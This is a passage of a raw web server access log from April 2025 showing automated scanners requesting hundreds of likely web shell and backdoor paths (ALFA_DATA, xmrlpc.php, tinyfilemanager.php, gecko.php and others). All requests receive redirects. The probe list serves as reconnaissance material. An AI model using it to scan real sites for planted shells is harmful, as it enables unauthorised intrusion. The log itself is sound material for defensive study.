/api/.config.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:50 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:51 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:51 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:51 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:51 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:52 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:52 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:52 -0400] "GET /aspeV9cCZPQ.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:53 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:53 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:53 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:53 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:53 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:54 -0400] "GET /assets/images//NOFmvAjT.php HTTP/1.1" 301 795 "-" "-" 162.0.232.217 - - [18/Apr/2025:08:40:54 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 52.138.175.243 - - [18/Apr/2025:08:40:54 -0400] "GET /assets/images//niil.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:55 -0400] "GET /assets/images//scan.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:55 -0400] "GET /assets/images/1741753877buyyx.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:55 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:56 -0400] "GET /assets/images/doc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:56 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:56 -0400] "GET /assets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:57 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:57 -0400] "GET /assets/xp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:58 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:58 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:59 -0400] "GET /autoload_classmap.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:40:59 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:00 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:00 -0400] "GET /b0.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:01 -0400] "GET /bQmw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:01 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:02 -0400] "GET /baindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:02 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:03 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:03 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:04 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:05 -0400] "GET /ben.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:05 -0400] "GET /bitrix/admin/htmleditor2/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:06 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:07 -0400] "GET /blog/fw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:07 -0400] "GET /blog/wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:08 -0400] "GET /bob.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:08 -0400] "GET /brU.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:09 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:10 -0400] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:10 -0400] "GET /bs1.php?d=2f7777772f3030396437 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:11 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:11 -0400] "GET /buy.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:12 -0400] "GET /byp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:13 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:13 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:14 -0400] "GET /cZkmtUnJVfi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:14 -0400] "GET /cache/b/c/e/b/mdtcshwavxn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:15 -0400] "GET /cache/d/d/b/d/zwdlhkfyupn.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:16 -0400] "GET /cache/d/h/d/f/ukstnfjlbov.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:16 -0400] "GET /cache/e/e/e/b/abkiszpjdfx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:17 -0400] "GET /cache/g/a/d/b/qtrxajmpgek.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:18 -0400] "GET /cache/g/c/h/b/tfuoqlvyakp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:18 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:18 -0400] "GET /cd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:19 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:19 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:20 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:20 -0400] "GET /cgi-bin/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:20 -0400] "GET /cgi-bin/bak.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:21 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:21 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:22 -0400] "GET /cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:22 -0400] "GET /cgi-bin/head.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:22 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:23 -0400] "GET /cgi-bin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:24 -0400] "GET /cgi-bin/index.php?p=&upload HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:24 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:25 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:25 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:25 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:26 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:26 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:27 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:27 -0400] "GET /chosen/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:27 -0400] "GET /chosen?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:28 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:28 -0400] "GET /class-php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:29 -0400] "GET /class-wp-lock.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:29 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:29 -0400] "GET /class.api.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:30 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:30 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:30 -0400] "GET /classwithtostring.php/rbzccnnp.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:31 -0400] "GET /classwithtostring.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:31 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:31 -0400] "GET /click.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:32 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:32 -0400] "GET /cms.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:33 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:33 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:33 -0400] "GET /conf_upload.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:34 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:34 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:34 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:35 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:35 -0400] "GET /cong.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:36 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:36 -0400] "GET /contacts.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:36 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:37 -0400] "GET /content.php888 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:37 -0400] "GET /cpouchon/ORTHOSKIM HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:37 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:38 -0400] "GET /css.php/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:38 -0400] "GET /css.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:38 -0400] "GET /css/.tmp/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:39 -0400] "GET /css/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:39 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:40 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:40 -0400] "GET /css/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:40 -0400] "GET /css/default.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:41 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:41 -0400] "GET /css/nop.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:42 -0400] "GET /css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:42 -0400] "GET /csv.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:42 -0400] "GET /custom-background.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:43 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:43 -0400] "GET /d.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:43 -0400] "GET /d8Q4AflCtoJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:44 -0400] "GET /data.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:44 -0400] "GET /data/.backup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:45 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:45 -0400] "GET /defaul1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:45 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:46 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:46 -0400] "GET /dg6Umx2OrVh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:47 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:47 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:47 -0400] "GET /dropdown.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:48 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:48 -0400] "GET /e.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:49 -0400] "GET /eVhyNnBmDl4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:49 -0400] "GET /ecoraiderusa.com/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:49 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:50 -0400] "GET /edit.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:50 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:50 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:51 -0400] "GET /erin1.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:51 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:52 -0400] "GET /error.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:52 -0400] "GET /es-ar//wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:53 -0400] "GET /exploits7.my.id HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:53 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:54 -0400] "GET /f35.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:54 -0400] "GET /f8P2t5IOcAq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:54 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:55 -0400] "GET /feed/atom/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:55 -0400] "GET /fex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:55 -0400] "GET /file-manager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:56 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:56 -0400] "GET /file.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:57 -0400] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:57 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:57 -0400] "GET /filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:58 -0400] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:58 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:58 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:59 -0400] "GET /files//tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:41:59 -0400] "GET /files/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:00 -0400] "GET /files/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:00 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:01 -0400] "GET /fkHOiaRx2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:01 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:01 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:02 -0400] "GET /fm.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:02 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:02 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:03 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:03 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:04 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:04 -0400] "GET /fx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:04 -0400] "GET /g.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:05 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:05 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:05 -0400] "GET /geLVvYmAkdO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:06 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:06 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:07 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:07 -0400] "GET /geylY2B94sm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:07 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:08 -0400] "GET /gins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:08 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:08 -0400] "GET /go.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:09 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:09 -0400] "GET /good.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:10 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:10 -0400] "GET /gxurwGYPKWI.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:11 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:11 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:12 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:12 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:12 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:13 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:13 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:14 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:14 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:14 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:15 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:15 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:16 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:16 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:17 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:17 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:18 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:18 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:18 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:19 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:19 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:20 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:20 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:20 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:21 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:21 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:22 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:23 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:23 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:23 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:24 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:24 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:25 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:25 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:25 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:26 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:26 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:27 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:27 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:27 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:28 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:29 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:29 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:42:29 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - 